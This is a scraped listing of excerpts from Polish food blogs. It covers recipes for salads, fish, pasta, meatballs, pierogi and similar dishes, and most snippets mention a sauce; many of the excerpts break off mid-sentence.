Stare Gary
Surówka z pora i marchewki 204

zmiękł. Marchewkę obieramy i ścieramy na dużych oczkach tarki. Pora, marchew i odcedzoną kukurydzę mieszamy ze sobą.  Majonez łączymy z jogurtem i sokiem z cytryny, a następnie powstałym sosem polewamy surówkę. Doprawiamy do smaku pieprzem. Wszystko dokładnie mieszamy ze sobą

Qchnia po prostu
Śledzie po tatarsku 173

godziny w lodówce, po czym wyjąć, osuszyć ręcznikiem papierowym i razem z cebulą drobno posiekać. Wymieszać dokładnie olej z koncentratem pomidorowym, przyprawić musztardą , pieprzem i papryką. Sos wymieszać ze śledziami i cebulą, przykryć i wstawić na godzinę lub dwie do lodówki. Przed podaniem uformować porcje, ułożyć na liściach sałaty, posypać drobno pokrojonym jajkiem i dowolną zieleniną

Kulinarne przemyslenia
Roladki z cukinii z kurczakiem i mozarellą 154

wyłożyć mięso i posypać serem. Zawinąć w roladki, nadziać na patyczki do szaszłyków. Gotowe roladki piec w piekarniku nagrzanym do 180 stopni przez około 25 minut. Ja podałam z sosem śmietanowo- musztardowym. 2 łyżki śmietany wymieszałam z 1 łyżką musztardy rosyjskiej i sokiem z połówki 1 cytryny, pyszny sosik wychodzi, polecam Artykuł Roladki z cukinii z kurczakiem i mozarellą pochodzi

Smaki Armine
Łosoś w sosie musztardowym 173

Łosoś pieczony z sosem musztardowym  to przepis na szybki i smaczny obiad. Moją rybę podalam z kaszą jaglaną  i białą kapustą . Składniki: 600 g filetu z łososia 200 ml śmietany 30% 2 łyżki musztardy dijon sok z 1/2 cytryny olej 1 łyżka posiekanej pietruszki miód sól, pieprz Wykonanie: Filet łososia podzielić na porcje. Skropić cytryną, posolić, popieprzyć, wstawić

magiczna kuchnia Kasi
Meksykańska zupa z batatami 255

Internet skrywa wiele ciekawy przepisów, a specjalistką w ich wyszukiwaniu jest Madzia :) Tym razem postanowiliśmy przygotować szybką – bo można ją przygotować w 25 minut zupę

Kulinarnyblog.pl - wiesz jak gotować!
Pasta z tuńczyka 180

czarnych oliwek – tapenada pasta z tuńczyka Przygotowanie : 10 minut Składniki: – 50-100 g białego sera – 1 ząbek czosnku – 2 puszki tuńczyka w oliwie lub w sosie własnym, odsączonego (po ok 170 g każda) – ewentualnie 2-3 łyżki oliwy z oliwek PRZYGOTOWANIE: Do blendera dodaj ser biały, odsączonego z zalewy tuńczyka i czosnek. Blenduj. Jeśli pasta

nietylkopasta.pl
Węgierska zupa rybna 187

ości w wywarze. Sięgnełam po filety z karpia. Dzwoniki z karpia mają więcej ości dlatego z nich zrezygnowałam. Lubisz ryby? Jeśli tak to wypróbuj nasz przepis na Rybę w sosie musztardowym . The post Węgierska zupa rybna appeared first on MeCooks

mecooks
Placuszki na słodko - 20 przepisów 291

Kakaowe placuszki na maślance 6. Placuszki jogurtowe z truskawkami 7. Placuszki z miodem i brzoskwinią 8. Puszyste racuchy drożdżowe z jabłkami i żurawiną 9. Placuszki z serkiem mascarpone i sosem truskawkowym 10. Placuszki z makiem, cynamonem i pomarańczą Agnieszki Maciąg 11. Kajmakowe placuszki z ricotty 12. Placuszki bezglutenowe z miodem i bananem 13. Placuszki jogurtowe z orzechami, suszoną morelą

kruche babeczki
Środa: Błyskawiczny strogonoff Jamiego Oliviera 166

Jest to jedna rzecz droga , dlatego w przepisie zastąpiliśmy wołowinę filetem z indyka. Mięso jest równie delikatne i szybkie do przyrządzenia. I jeszcze jedna zmiana: zamiast ciężkawej śmietany, podstawę sosu stanowi jogurt i mleko. W efekcie danie jest lekkie o ciekawej teksturze, gdyż miękki filet łączy się z chrupiącym ogórkiem i cebulą.   Składniki: 500 g polędwiczek z indyka

Niedzielny kucharz
Klopsiki z makaronem chrzanowo-serowym 184

sobotę miałem troszkę więcej czasu w kuchni i przygotowałem dla rodzinki na obiad danie z tzw. jednogarnkowych. Padło na klopsiki z makaronem w sosie czosnkowo-serowym. Czas przygotowania to max pół godzinki, więc można szybko zaskoczyć domowników. Swoich do ostatniej chwili trzymałem w niepewności - ale ostatecznie udało mi się ich zaskoczyć i zjedli wszystko ze smakiem - nawet Fabian niejadek :) Porcja

Smacznie Pysznie Kalorycznie
Klasyczne buraczki zasmażane 144

częstym dodatkiem do niedzielnego kuraka albo mieloniaczków. Ojjjj mniam. Buraczki zasmażane mają to do siebie, że doskonale komponują się z wszelkimi rodzajami mięs i tych smażonych i tych z sosami, i z kaszami i z ziemniakami….ze wszystkim. Możemy zrobić ich więcej i potem tylko odgrzewać kolejnego dnia. Takie buraczki jakie pamiętam z domu, gotowało się dość długo, koniecznie

Mieszam w Garnku
KOTLETY Z KASZY GRYCZANEJ I PIECZAREK 154

cebulę. Dokładamy posiekaną natkę, majonez, bułkę tartą, mąkę, doprawiamy solą, pieprzem i słodką papryką. Formujemy kotleciki, obtaczamy w bułce tartej i smażymy na rumiano.  Podajemy z ulubionym sosem.  Kasza gryczana to świetny pomysł na róznorodne dania. Nie musimy podawać jej tylko jako dodatek do obiadu, może być jego głównym składnikiem.  Przy okazji zakupów w moim odkrytym niedawno

Z Majeczką w kuchni
Pasztet pieczony z suszonymi pomidorami 254

kostkę i zeszklić na oleju z pomidorów, dodać zamarynowane mięso i razem usmażyć, pod koniec dodać posiekany czosnek. Ugotowane udka oddzielić od kości i razem z usmażonym mięsem i sosem, który się wytworzył dwa razy zmielić w maszynce. Do mięsa dodać śmietanę (może być tłuste mleko) gałkę, jajka, pieprz i sól wymieszać. Dodać pokrojone w paski pomidory i jeszcze

Swojskie jedzonko
KOTLETY Z ZIEMNIACZANE 175

zbite puree zagwarantuje odpowiednią strukturę kotletów. Sprawi, że nie będą rozpadały się podczas smażenia i przewracania na patelni. Udadzą się nawet bez dodawania jajka. Najlepiej smakują podane z sosem pieczarkowym lub grzybowym . Pasują też jako dodatek do mięsnego obiadu lub po prostu z mizerią lub surówką coleslaw . SKŁADNIKI / 4 PORCJE 400 g ugotowanych i przeciśniętych przez praskę ziemniaków

cool and minty
Zapiekane kokardki pod koglem moglem z bakaliami i amaretto 210

otarte skórki, całość dokładnie mieszamy i przekładamy do natłuszczonego lekko masłem naczynia żaroodpornego. Żółtka ubijamy z cukrem na kogel mogel-czyli na prawie białą pianę, wlewamy amaretto, mieszamy i sosem jajecznym polewamy makaron. Piekarnik nagrzewamy do 180*c całość zapiekamy 15 minut aż zacznie się lekko rumienić. Podajemy o d razu gorące. Smacznego! Ze sklepu wybrałam jeszcze dużą kamionkową

Wanilia i Kardamon
Tarta ze szpinakiem i łososiem 221

obiad, czy przekąskę w ciągu dnia. Można ją jeść na zimno lub na ciepło. Tarta jest z dodatkiem sera pleśniowego, suszonych pomidorów, świeżego pomidora i dużo kremowego sosu na bazie beszamelu. Jest wilgotna i prosta w wykonaniu, po prostu pyszna :) Czytaj więcej

Ana Mari's world
Tarta ze szpinakiem i łososiem 221

obiad, czy przekąskę w ciągu dnia. Można ją jeść na zimno lub na ciepło. Tarta jest z dodatkiem sera pleśniowego, suszonych pomidorów, świeżego pomidora i dużo kremowego sosu na bazie beszamelu. Jest wilgotna i prosta w wykonaniu, po prostu pyszna :) Czytaj więcej

Ana Mari's world
Pierogi z karpiem, grzybami i koperkowo-orzechowym masełkiem 163

orzechy uprażyć na suchej patelni i również pokroić na mniejsze części. Masło roztopić, dodać przeciśnięty przez praskę czosnek, koper i orzechy. Całość dokładnie wymieszać i chwilę smażyć aby sos nabrał aromatu. 6. Gotowe pierogi podawać polane masełkiem koperkowo-orzechowym. Święta to magiczny czas, w którym dzielimy się z najbliższymi tym co najpiękniejsze oraz… najsmaczniejsze. Wyjątkowe okazje wymagają wyjątkowej oprawy

Szalona Kuchnia Eweliny
Makaron z cukinią i mascarpone 190

Przepis mam od koleżanki z pracy. Jest bardzo prosty, taki do przygotowania w 15 minut.Makaron jest dobry zawsze, sprawdzi się na obiad i na kolację. Proste dodatki, pyszny sos. Polecam! Składniki : * ulubiony makaron - u mnie 250g kokardek * podwójna pierś z kurczaka * cukinia  * pół opakowania serka mascarpone  * przyprawy do smaku * natka pietruszki Przygotowanie : Makaron ugotować al dente. Kurczaka pokroić

Magiczne Życie Marty
Wątróbka z suszonymi śliwkami i kaszą pęczak 179

piórka cebuli. Pod koniec smażenia wątróbkę przyprawić solą i dodać pokrojone śliwki. Dolać niewielką ilość wody aby nic nie przywierało do patelni. Wody dolać tyle, aby powstał dosyć gęsty sos. Gdy wątróbka oraz cebula zmiękną dodać ugotowaną kaszę pęczak i całość dokładnie wymieszać. Doprawić do smaku solą, pieprzem i odrobiną chili

My simple kitchen
Makaron z groszkiem cukrowym i boczkiem – obiad w 15 minut 234

szybsze gotowanie. Makaron do tego dania powinien być ugotowany al dente – spokojnie dojdzie przez chwilę łączenia i podgrzewania z dodatkami. Ja wybrałam swój ukochany makaron czyli bucatini – ale ten sos równie dobrze, a może nawet wygodniej do jedzenia – będzie komponował się z makaronem krótkim – kolankami, kolankami z falbanką, świderkami i małymi muszelkami – nie ograniczajcie się tutaj, użyjcie swojego ulubionego makaronu

Karo in the Kitchen
Super ciasto na pizzę 200

wody, olej i sól. Wyrobić ciasto. Można odstawić chwilę do podrośnięcia, ale nie ma takiej potrzeby. 3. Ciasto wyłożyć na blaszkę i palcami uformować kształt koła lub kwadratu. Posmarować sosem lub koncentratem pomidorowym, posypać ziołami i odstawić na 5-10 mniut. Po tym czasie nałożyć ulubione składniki i piec w 220 st.C przez 10-15 minut. Smacznego

Kuchnia domowa Ani
BIGOS Z KIEŁBASĄ I BOCZKIEM 253

duża cebula 2 łyżki oleju 1 łyżka masła 6 suszonych śliwek 1/2 szklanki czerwonego wytrawnego wina 40 g suszonych borowików 2 szklanki bulionu lub wody z 2 łyżkami sosu sojowego 2 łyżki powideł śliwkowych 200 g wiejskiej kiełbasy 1 łyżka koncentratu pomidorowego PRZYPRAWY: sólo, świeżo zmielony czarny pieprz, 3 listki laurowe, 4 kulki ziela angielskiego, 2 kulki jałowca, 1 łyżeczka

cool and minty
PRZEKĄSKI IMPREZOWE NA CIEPŁO + FILMIK 659

farszu i zapiekamy w piekarniku 20 minut, temperatura 180 % C. Po wyjęciu studzimy i wyciągamy z foremek. Na paterę wyłożoną zielonymi liśćmi układamy ślimaczki, na środek paluszki i dowolny sos oraz z boku koszyczki. Podajemy od razu. Przekąski są pyszne na ciepło i zimno, polecam

Kulinarne Fantazje Marioli
Deser bez cukru? Pieczone jabłka z kaszą i sokiem malinowym 212

skórki. Powinny być upieczone na tyle, że w zasadzie po upieczeniu są już musem w skórce Przekładaj kaszę manną do słoiczków na zmianę z musem z pieczonym jabłkiem i sosem malinowym. Ostatnią warstwą niech będą pieczone jabłka posypane szczyptą cynamonu. Składniki 200 ml wody 5 pełnych łyżek kaszy manny 3 duże jabłka (np. kortland lub lobo) wcześniej upieczone sok malinowy

Eat me! Fit me!
Kurczak duszony w sosie własnym 236

Kurczak w sosie własnym to szybki,  łatwy a przede wszystkim pyszny pomysł na  obiad.  Idealnie pasyje do kaszy, ziemniaków  czy ryżu.  Ja podałam z ziemniakami i surówką  z kapusty pekińskiej . Składniki: 5 udek z kurczaka 1 cebula 2 ząbki czosnku 2 liście laurowe 3 ziarna ziela angielskie 1 łyżka mąki pszennej olej do smażenia

magiczna kuchnia Kasi
CZY ZDROWE ODŻYWIANIE JEST DROGIE? MOJE WYDATKI Z CAŁEGO MIESIĄCA 158

NABIAŁ (u mnie głównie jajka i sery) – 5,6 zł MIĘSO – 4,22 zł RYBY I OWOCE MORZA 1,86 zł POZOSTAŁE (np. mleczko kokosowe w puszce, dżemy, sosy, pesto, czekolada gorzka, miód lub syropy) – 17,01 zł RAZEM 114,6 zł za tydzień zdrowego odżywiania. Szczegółowe wyliczenia z konkretnymi produktami znajdziecie w pliku excela, do pobrania tutaj: pobierz wyliczenia

Powiedz dietom nie
puszyste i chrupiące ciasto na pizze 164

oliwą( olejem), delikatnie natłuszczamy dłońmi papier do pieczenia, następnie ręcznie przekładamy ciasto z miski na blaszkę, delikatnie spłaszczając i rozciągając je palcami, nadając mu odpowiedni kształt, Wykładamy cienką warstwę sosu pomidorowego bądź ketchupu , ser oraz ulubione dodatki. Czekamy ok. 15 minut aż ciasto podrośnie, następnie pieczemy w maksymalnie nagrzanym piekarniku ( min. 250 st. C) ok 10-15 min. Smacznego

Studencka Micha
Placuszki Cukiniowo-marchewkowo-serowe 164

Chyba pasują na każdą okazję ❤ Możemy je zarówno smażyć jak i piec w piekarniku. Dziś zapraszam na placuszki mojego autorstwa z pyszną cukinią,marchewką i serem żółtym. Podaję z sosem jogurtowym lub gulaszem zarówno mięsnym jak i warzywnym. Smacznego ❤ Zapraszam do polubienia mojej strony na FB https://www.facebook.com/gotowaniepatki/  oraz śledzenia na Instagramie https://www.instagram.com/ gotowaniepatki/ ,oraz odwiedzenia mojego

Gotowanie Patki
Chrupiąca pierś kaczki 134

marynowania mięsa, im dłużej tym lepiej, min 2h. Mięso najlepiej zostawić w marynacie,w lodówce na całą noc. Składniki 2 szt. piersi kaczki dużych, ze skórą Marynata: 1 łyżeczka sosu sojowego ciemnego 1 łyżeczka octu balsamicznego 2 ząbki czosnku wyciśnięte lub posiekane 2 łyżeczki mąki kukurydzianej pieprz,sól Dodatki: 1 szklanka ryżu ugotowanego z dodatkiem 1 … Czytaj dalej Chrupiąca

gotuj ze mną
Sałatka z tuńczyka 188

Bardzo szybka a zarazem smaczna sałatka z tuńczyka, świetnie pasuje na śniadanie, kolację czy imprezę. Do sałatki proponuję tuńczyka w sosie własnym, w oleju może być za tłusty. Sałatka doprawiona majonezem Kieleckim będzie pyszna! Składniki: 1 woreczek ryżu mój miał 125 gram 1 puszka tuńczyka 1 czerwona papryka 4 ogórki kiszone z domowej spiżarni cebulka ze szczypiorkiem por około

Życie zaczyna się w kuchni
Spaghetti z cukinią i schabem 202

Prosty, szybki, sycący.  Spaghetti nie zawsze musi być standardowe, pomidorowe, czy jedwabiście śmietankowe. Może być również zaskakująco skąpe w ilości sosu, a przy tym bardzo delikatne i smaczne, Spróbujcie :) Składniki: 25dag makaronu spaghetti 20dag pieczonego schabu 1 średnia cukinia 1 duża cebula pęczek koperku 3 łyżki oliwy świeżo zmielony pieprz sól  Przygotowanie: Makaron gotujemy w lekko osolonej wodzie

ChilliJemy
Śledzie w pomidorach 124

lekko osolonej i ocukrzonej wodzie. Na patelni, łyżkę masła przesmażyć z łyżką mąki. Do zasmażki dodać pomidory, zagotować. Dodać odsączoną marchewkę, doprawić do smaku solą, cukrem i zagotować. Ostudzonym sosem zalać śledzie. Odstawić na co najmniej 12 godzin. W lodówce mogą stać kilka

królestwo garów
Gołąbki z kuskusem i cukinią 197

farsz był gorący i przeszedł wszystkimi smakami. Między czasie gołąbki odwracamy, bulion powinien się zredukować. Takie gołąbki można podawać tylko z posypanym  koperkiem, lub z ulubionym sosem, np. pieczarkowym. Moja propozycja to gołąbki z kremowymi pieczarkami, które roimy w plasterki i podsmażamy na niewielkiej ilości masła. Doprawiamy solą, pieprzem i tuż przed samym podaniem łączymy ze słodką śmietanką

Moniki Smakołyki
Domowy burger wołowy 150

Zamiast jedzenia typu fast food, zdecydowanie wolę oddzielnie czuć smak burgera, dodanych składników i bułki, albo frytek. W gotowym hamburgerze trudno jest też mieć kontrolę nad dodanym do niego sosem, a to on czasami bywa niezłym zbiorem konserwantów, poprawiaczy smaku i wyglądu. Dobry burger nie może być zbyt suchy, dlatego najlepszym mięsem jest to, które zawiera co najmniej 20% tłuszczu

Kuchcik gotuje
Ciasto na pierogi 180

pierogi, delikatnie zamieszać drewnianą łyżką.  Gdy wypłyną w górę, gotować jeszcze 2-3 minuty. Wybierać łyżką cedzakową, osaczyć, wyłożyć na półmisek, polać tłuszczem lub śmietaną czy sosem. Wszystko zależy od rodzaju nadzienia

Kulinarne przemyslenia
Krokiety z kapustą i grzybami 365

Zwinięte krokiety zanurzyć w roztrzepanym z solą i pieprzem jajku i obtoczyć w bułce tartej. Smażyć na dobrze rozgrzanym oleju do lekkiego przyrumienienia. Podawać z czystym czerwonym barszczem lub sosem grzybowym.  Zobacz również: bigos z grzybami (Wigilia

Kuchcik gotuje
Sałatka żółto-czosnkowa 253

czasu podanego na opakowaniu. Studzimy. Ananasa kroimy w kostkę. Kukurydzę osączamy. Do garnuszka dajemy około 3 łyżki majonezu, dodajemy przeciśnięty przez praskę czosnek, doprawiamy curry, solą oraz pieprzem. Przygotowany sos mieszamy razem z pozostałymi składnikami

Smaki Na Talerzu
Zapiekanka z tortellini 406

Pyszna zapiekanka z pierożkami tortellini, papryką i fasolką szparagową oprószona serem żółtym i mozzarellą w sosie beszamelowym po prostu niebo w gębie! Piekłam 30 minut w 180 stopniach. Czytaj więcej

Pychotkaaa
Zupa z czerwonej soczewcy 150

oliwek 5 niewielkich ziemniaków 3 łyżeczki przecieru pomidorowego 1 łyżeczki kurkumy 1 łyżeczki curry  1 łyżeczki imbiru 1,5 łyżeczki słodkiej papryki natka pietruszki pieprz, sól,  sos sojowy do smaku 100g gęstej śmietanki 12 lub 18% Do garnka wlać 2l wody, dodać marchewkę, selera, pietruszkę, natkę, cebulę, liść laurowy, ziele angielskie oraz udka z kurczaka. Gotować bulion przez

Słodki Zakątek
Placki dyniowe z marchewką, ziemniakami i czarnuszką 191

mieszamy. Na rozgrzaną patelnię z niewielką ilością tłuszczu kładziemy po porcji masy i smażymy na średnim ogniu z obu stron na mocno złoty kolor. Podajemy na ciepło np. z sosem czosnkowym

My simple kitchen
Surówka z czerwonej kapusty ze szczypiorkiem i marchewką 286

czerwonej kapusty ze szczypiorkiem i marchewką Pyszna, prosta w przygotowaniu surówka do drugiego dania. U nas najczęściej w towarzystwie kotletów z piersi z kurczaka lub naszych ulubionych pulpecików w sosie pomidorowym (przepis znajdziecie tutaj ). Polecam Wam spróbować. Szukając innych przepisów na pyszne surówki zajrzyjcie tutaj . Do przygotowania surówki użyłam szatkownicy Hebel V5 PowerLine Borner Polska .   Składniki: pół główki czerwonej

Słodkie okruszki
Zapiekane jabłka i gruszki pod kruszonką 134

pokroić je na kawałki, posypać kruszonką i zapiec. Łyżeczki oblizywaliśmy wszyscy. Jako że hołduję prostym, nieskomplikowanym przepisom, ten przypadł mi do gustu szczególnie. Wersję elegantszą można zaserwować w towarzystwie sosu waniliowego – wtedy będzie raj! A jak przygotować takie zapiekane owoce?   Składniki 2 jabłka pokrojone na cienkie plasterki 1-2 gruszki garść żurawiny garść orzechów włoskich 1 łyżeczka cynamonu

Raj dla Podniebienia
Kotlety z ziemniaków i żółtego sera 194

rumiano, do przekładania używałam szerokiej łopatki, łatwiej odchodziły od powierzchni patelni. Wyszło mi 7 kotlecików. Takie kotlety można świeżo podać tylko np, z zarumienioną cebulką, ewentualnie  z sosem pomidorowym lub grzybowym.                                     Smacznego

Proste Potrawy
Pyszne Kofty po polsku 128

podwyższona wilgotność korzystnie wpłynie na soczystość mięsa Wstawiamy do piekarnika nagrzanego do 180 C . Pieczemy z termoobiegiem do momentu aż szaszłyki pięknie się zrumienią . Serwujemy na gorąco z różnymi sosami , dipami . Na zimno, po zdjęciu z patyków , doskonale sprawdzą się jako składnik kanapek do pracy , czy szkoły Smacznego ! Artykuł Pyszne Kofty po polsku pochodzi z serwisu Ogrodnik w podróży

Ogrodnik w podróży
Skrzydełka w sosie 263

Dzisiaj mam dla Was propozycję na szybki i  smaczny obiad. Skrzydełka z kurczaka w sosie. Podałam je z ryżem. Jak zauważyliście na moim blogu znajdziecie mnóstwo dań mięsnych przygotowanych z różnych rodzai mięs. Drób, wieprzowina, wołowina, dziczyzna, jagnięcina to wszystko w zakładce MIĘSA. Jeżeli zrobiliście  Państwo danie z mojego bloga to proszę podzielcie się swoją opinią w komentarzach

O kuchni z uczuciem
Żółty kurczak pieczony 153

piekę w temp. 180 C grzaniem góra plus dół bez termoobiegu na środkowej półce piekarnika przez ok. 1,5 godziny. W międzyczasie dwa razy przewracam mięso i polewam powstałym sosem. Podaję gorące z dodatkami. SMACZNEGO

Zasmakuj Kuchni
Zapiekanki - przepisy 440

kukurydzą  17. Makaronowa zapiekanka z łososiem, oscypkiem i suszonym pomidorem 18. Pulpeciki z indyka z sezamem zapiekane z makaronem i warzywami 19. Pulpeciki z płatkami owsianymi w sosie pomidorowym zapieczone z makaronem i warzywami 20. Tarta z ciasta francuskiego z warzywami i indykiem 21. Musaka 22. Faszerowana mini cukinia zapiekana z ryżem 23. Zapiekanka z tortellini i białą kiełbasą

kruche babeczki
Puree z dyni 185

Królowa jesieni-dynia. Można ją wykorzystywać na różne sposoby do ciast, zup, sosów, pierogów, racuchów jednym słowem wyobraźnia kulinarna nie zna granic. Najczęściej korzystamy z niej w postaci puree. Dlatego też warto poświęcić trochę czasu, przygotować większą ilość i po prostu zamrozić.  Do niedawna piekłam dynię i potem miksowałam. Jednak koleżanka podsunęła mi pomysł, żeby zrobić to w parowarze

Ala piecze i gotuje
Wiśniak 363

Czekoladę posiekać, umieścić w miseczce. Śmietankę kremówkę podgrzać w garnuszku prawie do wrzenia, zalać nią posiekaną czekoladę, odstawić na chwilę, następnie wymieszać do całkowitego rozpuszczenia czekolady i otrzymania gładkiego sosu. Jeśli czekolada nie rozpuści się do końca, miseczkę z polewą umieścić nad parą i podgrzewać do rozpuszczenia lub wstawić na kilka sekund do kuchenki mikrofalowej. Polewę odstawić do przestudzenia. Gęstniejącą

Opowieści z piekarnika
Spaghetti bolognese 166

odparuje. Po tym czasie dodajemy bulion, wrzucamy puszkę pomidorów, koncentrat pomidorowy i ketchup. Gotujemy na lekkim ogniu przez dość długi czas. Cały płyn musi odparować a sos musi być gładki i gęsty ( nawet 1,5 godziny). Na końcu doprawić jeszcze solą i pieprzem, dodać zioła i pozostały czosnek przeciśnięty przez praskę. Podawać z makaronem spaghetti ugotowanym

cucinare
Leczo 124

podsmażamy do jej zeszklenia i złocistego koloru. Teraz papryka. Jest najtwardsza z warzyw, więc przysmażamy ją najdłużej. Następnie cukinia. Na samym końcu pomidory, które szybko wytworzą sos. Gotujemy do chwili aż warzywa będą miękkie, ale nierozgotowane. Na końcu doprawiamy solą i pieprzem i dodajemy świeże pokrojone zioła

cucinare
Domowe burgery 141

razem użyłam mielonego mięsa wołowo-wieprzowego jednak jeśli macie czas i możliwość lepsza byłyba z mielona wołowina. Przy następnej okazji wpis uzupłnię o lepsze zdjęcia oraz przepisy na sosy, które tym razem zastąpiłam ketchupem:) Potraktujmy więc ten wpis jako początek domowej przygody z burgerami :) Inspiracją był dla mnie przepis ze strony Smaczna Pyza Składniki na 12 burger

cucinare
Czerwone curry z kurczakiem, ryżem i kalafiorem 241

Kurczak w sosie curry z ryżem i kalafiorem to przepis na obiad, który przygotowuje się błyskawicznie. Jest to niewątpliwie jedno z tych dań, do których się co jakiś czas wraca. Tajskie curry, zachwyca wyrazistym smakiem i aromatem, dzięki idealnie zbilansowanej mieszance przypraw……do tego świetnie się prezentuje. Składniki na około 4 osoby: 400 g fileta z kurczaka

Kierunekuchnia
Orientalna pasta z dyni i pomidorów 171

odmianę lubisz najbardziej? Autor Zdjęcia: thinkstockphotos.com A teraz zejdź niżej i później przepis na moje orientalne puree z dyni i pomidorów.  Takie puree to fajna baza do sosów, zup, past na kanapki w wersji właśnie takiej czy np. humusu dyniowego. Składniki: 1 mała dynia hokkaido ok 1 kg 1 kg pomidorów pół łyżeczki cynamonu pół łyżeczki soli

Życie zaczyna się w kuchni
Czas na gęsinę - dania z gęsi 162

wątróbki gęsiej pierogi z gęsi z nutą pomarańczy pierś z gęsi Pierś z gęsi (podwędzana, „dojrzewająca”) Pierś gęsi duszona w cydrze Pierś gęsi konfitowana piersi gęsie smażone, w sosie jabłkowym Pierś gęsi w winie Pierś gęsi z czereśniami pierś z gęsi z figami Pierś gęsi z grilla gęś kocha wino rosół z gęsi z pierożkami z gęsi wątróbka z gęsi

królestwo garów
Gulasz cielęcy w sosie słodko-kwaśnym (Spezzatino di vitello in agrodolce) 179

quindi che consigliarVi la ricetta… e nell’occasione buon appetito :)  **** Nic tak nie rozgrzewa w chłodne dni jak ciepły i pożywny gulasz. Delikatna  cielęcina w aromatycznym sosie słodko-kwaśnym z pomidorami, pachnąca białym winem, suszonymi śliwkami i żurawiną. Idealne danie obiadowe dla całej rodziny. Nie pozostaje mi nic innego, niż polecić Wam mój dzisiejszy przepis i życzyć

La grande e la piccola cuoca
Zapiekanka makaronowa z tuńczykiem i borkułem 183

zapomniałam), kilka oliwek, które zostały w słoiczku, do tego makaron orkiszowy i tuńczyk. Wszystko zapieczone. Polecam i miłego dnia wszystkim życzę :-) Składniki: opakowanie makaronu orkiszowego 2 puszki tuńczyka w sosie własnym mini kulki mozzarelli 1 czerwona papryka kilka zielonych oliwek 1 brokuł oliwa z oliwek sól pieprz 1. Makaron gotujemy al'dente, tak samo brokuła. Paprykę kroimy w paski, oliwki

kruche babeczki
Fusia (prażucha) wg Aleex 193

okrasą, którą jest pokrojony w dużą kostkę boczek (w wersji bogatej) lub cebulka (w wersji uboższej). Fusia może być dodatkiem do różnych dań, na pewno świetnie sprawdzi się do sosów lub do chłodnika latem. Naprawdę ją Wam polecam. Składniki: • 1,5 kg ziemniaków • 1 duża cebula • 250 g chudego boczku • 2 pełne łyżki mąki pszennej • sól • pieprz • olej Sposób przygotowania

W mojej kuchni
Gęś z kaszą gryczaną i śliwkami wędzonymi 152

Piec około 5 – 6 godzin. Co jakiś czas (ale nie częściej niż co godzinę) polewać ją tłuszczem wytopionym podczas pieczenia. Tłuszczu wytworzonego podczas pieczenia nie wylewamy, przyda się do sosów, duszenia... * Ułożyć na grzbiecie i mocno nacisnąć mostek. Ostrym nożem, przy szyi, odciąć mięso od szkieletu. Gdy dojdziemy do skrzydełek należy je wyłamać ze stawów i odciąć. Od strony kupra

królestwo garów
MAKARON Z MASCARPONE 147

Bardzo smaczny sam, idealny jako baza do kulinarnych eksperymentów – prosty makaron z sosem mascarpone 🙂 Składniki (na 2 porcja): 200g makaronu tagliatelle 2 łyżki drobno posiekanej cebuli 2 ząbki czosnku (bardzo drobno posiekane lub zmiażdżone) 4 łyżki mascarpone 1 łyżka masła pieprz sól cebulę zeszklij na maśle ugotuj makaron al dente. Gdy będzie gotowy [...] Artykuł MAKARON Z MASCARPONE pochodzi

SandraFrej.com
Pulpety w sosie pomidorowym 184

Przepis na delikatne i soczyste w smaku pulpety wieprzowe w sosie pomidorowym. Idealne na domowy obiad. Doskonale pasują do gotowanych ziemniaków, kasz, ryżu. Można je również podać z ulubioną surówką. Smakują najmłodszym członkom rodziny. Są świetną alternatywą dla kotletów mielonych. Składniki: 500 g mięsa mielonego z łopatki 1 cebulka ze szczypiorkiem 1 jajko 2 łyżki bułki tartej sól

Krokusowy Dom
Curry z warzywami na mleku kokosowym 129

Ogromny wybór sezonowych warzyw zachęca do odkrywania nowych smaków w kuchni. Jednym z moich ostatnich eksperymentów jest cudowne, aromatyczne curry z warzywami: cukinią, papryką i fasolką szparagową w delikatnym sosie na bazie mleka kokosowego. Świeże warzywa to jeden z produktów niezbędnych w mojej kuchni. Połączenie

Vegan Taste
Dahl na mleku kokosowym 118

obiad znów miał być makaron z sosem pomidorowym. Ale ile można jeść jedno i to samo? Nawet najlepsze dania kiedyś muszą się znudzić… I właśnie ta nuda w kuchni spowodowała, że powstał cudowny dahl na mleku kokosowym. Smakuje naprawdę obłędnie! Dahl (w Polsce używa

Vegan Taste
Spaghetti ze smażonym porem i tofu 163

Jedną z pierwszych potraw, które przygotowałem jako dziecko, było spaghetti. Nie mogę nawet powiedzieć, że “ugotowałem” to danie, bo jako sosu użyłem keczupu. Łatwo wyobrazić sobie smak tego dania – nie było zbyt ambitnie. Już wtedy pokochałem makaron – szybki i prosty w przygotowaniu, który

Vegan Taste
Czy warto kupić patelnię za 500 zł? Test patelni do smażenia bez tłuszczu WOLL + PRZEPIS NA DUTCH BABY 219

Klasyczną drożdżową, na mące orkiszowej. Jedną na blaszce, jedną na patelni. I różnicy wiele nie zauważyłam, ale pizza robiona w patelni zdecydowanie szybciej się upiekła. Minusem było rozsmarowanie nożem sosu, nie da się, zdecydowanie lepiej nada się do tego łopatka. PODSUMOWANIE: Jak sami przeczytaliście plusów jest WIELE. Super nagrzewanie, łatwość w czyszczeniu, patelnia i naczynie żaroodporne w jednym

Czarnawisienka
Sony Xperia XZ3 – recenzja 180

czytnika linii papilarnych dotykałam obiektywu aparatu, który ma podobny kształt. Ważne dla mnie jest, żeby telefon był względnie wodoszczelny i łatwo się czyścił, bo i tak będzie cały w sosie. 2. w fotografii kulinarnej ważne jest, żeby telefon oddawał rzeczywiste barwy a nawet lekko je podkręcał. Barwy jedzenia na zdjęciach zrobionych nową Xperią są apetyczne i rzeczywiste. Aparat dobrze pokazuje

Ugotowane pozamiatane
Hummus czekoladowy z olejem makadamia 159

orzechów, więc nie używamy ich zbyt dużo w naszych przepisach. Za to dobrze pasują wszędzie tam, gdzie użyliśmy oleju tłoczonego na zimno, czyli do dekoracji deseru i jako element sosu w sałatce. Olej makademia jest źródłem wartościowych składników odżywczych np. wit E i jednonienasyconych kwasów tłuszczowych. Mnie interesuje przede wszystkim to, że jest bardzo smaczny i ma lekko orzechowy smak

Ugotowane pozamiatane
Roladki schabowe z suszonymi pomidorami i mozarellą 353

przyprawą uniwersalną. Roladki układamy w naczyniu żaroodpornym wysmarowanym olejem ze słoika z pomidorów. Pieczemy w nagrzanym piekarniku ok godzinę czasu, w międzyczasie podlewając olejem z naczynia. Podajemy z ziemniakami, sosem i ulubioną surówką ( w moim przypadku były to buraczki

Moje Wyroby
KROKIETY Z MIĘSEM I SZPINAKIEM 320

